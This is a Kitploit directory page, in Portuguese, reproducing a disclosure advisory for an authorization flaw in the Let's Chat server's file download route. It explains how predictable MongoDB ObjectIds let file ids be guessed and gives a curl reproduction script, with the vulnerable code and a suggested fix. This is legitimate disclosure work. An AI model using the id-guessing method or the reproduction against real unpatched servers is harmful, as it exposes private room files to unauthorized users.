Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat- — Aviso de Segurança: Controles de Acesso Insuficientes Permitem o Download Não Autorizado de Arquivos (Let's Chat) | Kitploit
Ferramentas/GitHubGitHub/theopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-
Autenticação e AutorizaçãoAnálise de VulnerabilidadesSegurança WebConfiguração IncorretaAprendizado e Educação
GitHubtheopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-

CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat-

Aviso de Segurança: Controles de Acesso Insuficientes Permitem o Download Não Autorizado de Arquivos (Let's Chat)

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 23 diasAinda não revisado

Aviso de Segurança: Controles de Acesso Insuficientes Permitem Download Não Autorizado de Arquivos (Let's Chat)

ID CVE atribuído: CVE-2026-66750

Resumo

GET /files/:id/:name verifica se o solicitante está autenticado e então serve o arquivo. Nunca verifica se o solicitante tem permissão para ver a sala à qual o arquivo pertence.

Qualquer conta pode, portanto, ler anexos de salas privadas e protegidas por senha das quais não é membro, e usuários cujo acesso a uma sala foi revogado mantêm links de download funcionais para todos os arquivos enviados enquanto tinham acesso.

O endpoint de listagem de arquivos no mesmo controlador verifica a associação, que é exatamente o que falta no endpoint de download.

Versões afetadas

URL do repositório: https://github.com/sdelements/lets-chat

Vulnerável desde 0.3.0 (commit 55e8833, 24 jan 2015, "Files backend") até 0.4.8, o lançamento final. Não existe versão corrigida.

Salas privadas e protegidas por senha foram introduzidas na 0.4.0, portanto a fronteira de confidencialidade que esta vulnerabilidade cruza existe desde 0.4.0.

Requer files.enable: true, que está desativado em defaults.yml mas ativado em muitas implantações, já que o compartilhamento de arquivos é um recurso documentado.

Confirmado na 0.4.8 no commit 617207f e em docker.io/sdelements/lets-chat:latest (0.4.7).

Classificação

CWE-639: Bypass de Autorização por meio de Chave Controlada pelo Usuário. Também CWE-862, Autorização Ausente.

Pontuação base CVSS 4.0: 5.3 (Média) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Modelo de ameaça

O atacante precisa de uma conta de usuário comum, acesso de rede à porta HTTP e o ObjectId de um arquivo. O auto-registro está habilitado por padrão.

Na prática, o id não é um segredo. Qualquer pessoa que já foi membro da sala já o tem, porque tanto files:list quanto a mensagem upload://files/<id>/<name> publicada no upload o fornecem. A remoção do acesso não o invalida, e não há expiração nem assinatura na URL.

Para um atacante sem histórico na sala alvo, o id precisa ser adivinhado. Ele é um MongoDB ObjectId, não um UUID, e muito pouco dele é imprevisível:

root@kitploit:~
6a65092c fa7876 0001 34649e
    |       |     |     |
    |       |     |     +--- 3 byte counter, increments by one per document
    |       |     +--------- 2 byte process id
    |       +--------------- 3 byte machine id, fixed for the life of the process
    +----------------------- 4 byte Unix timestamp, one second resolution

Tudo exceto o contador é constante durante a vida de um processo de servidor, e o contador é uma única sequência compartilhada por todas as coleções. Um atacante que envia um arquivo próprio, portanto, descobre o id de máquina, o id de processo e a posição atual do contador, e todo arquivo enviado por qualquer outra pessoa fica a uma curta distância nessa sequência. Oito envios consecutivos em sdelements/lets-chat:latest:

root@kitploit:~
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5

Detalhe técnico

A rota de download aplica requireLogin e nada mais. app/controllers/files.js:59-92:

root@kitploit:~
app.route('/files/:id/:name')
    .all(middlewares.requireLogin)
    .get(function(req, res) {
        models.file.findById(req.params.id, function(err, file) {
            if (err) {
                // Error
                return res.send(400);
            }

            if (!file) {
                return res.send(404);
            }

            var isImage = [
              'image/jpeg',
              'image/png',
              'image/gif'
            ].indexOf(file.type) > -1;

            var url = core.files.getUrl(file);

            if (settings.provider === 'local') {
                res.sendFile(url, {
                    headers: {
                        'Content-Type': file.type,
                        'Content-Disposition': isImage ? 'inline' : 'attachment'
                    }
                });
            } else {
                res.redirect(url);
            }

        });
    });

file.room é carregado e depois nunca consultado.

O caminho de listagem na mesma funcionalidade, por sua vez, faz a verificação de associação. app/core/files.js:156-175:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    ...
    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {
        ...
        if (!canJoin) {
            return cb(null, []);
        }

Portanto, a aplicação já tem a verificação de que precisa (Room.canJoin, definida em app/models/room.js:130); a rota de download simplesmente não a chama.

Reprodução

Requer files.enable: true e rooms.private: true (LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).

root@kitploit:~
BASE=http://localhost:5000

for U in owner insider; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
  -d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":"insider"}'

# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>

# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":""}'

# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"

# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"

O mesmo resultado se aplica a uma conta que nunca foi membro da sala, tendo o id do arquivo.

Impacto

Anexos em salas privadas e protegidas por senha podem ser lidos por qualquer conta no servidor que possua ou consiga derivar o id do arquivo. Remover alguém de uma sala privada, ou alterar a senha de uma sala, não corta o acesso dessa pessoa aos arquivos já enviados, e arquivar a sala também não.

Correção sugerida

Carregue a sala e reutilize a verificação que files:list já executa. Em app/controllers/files.js:62, após a checagem if (!file):

root@kitploit:~
models.room.findById(file.room, function(err, room) {
    if (err || !room) {
        return res.sendStatus(404);
    }

    room.canJoin({ userId: req.user._id, password: req.param('password') },
                 function(err, canJoin) {
        if (err || !canJoin) {
            return res.sendStatus(404);
        }

        // existing sendFile / redirect logic
    });
});
Baixar ferramenta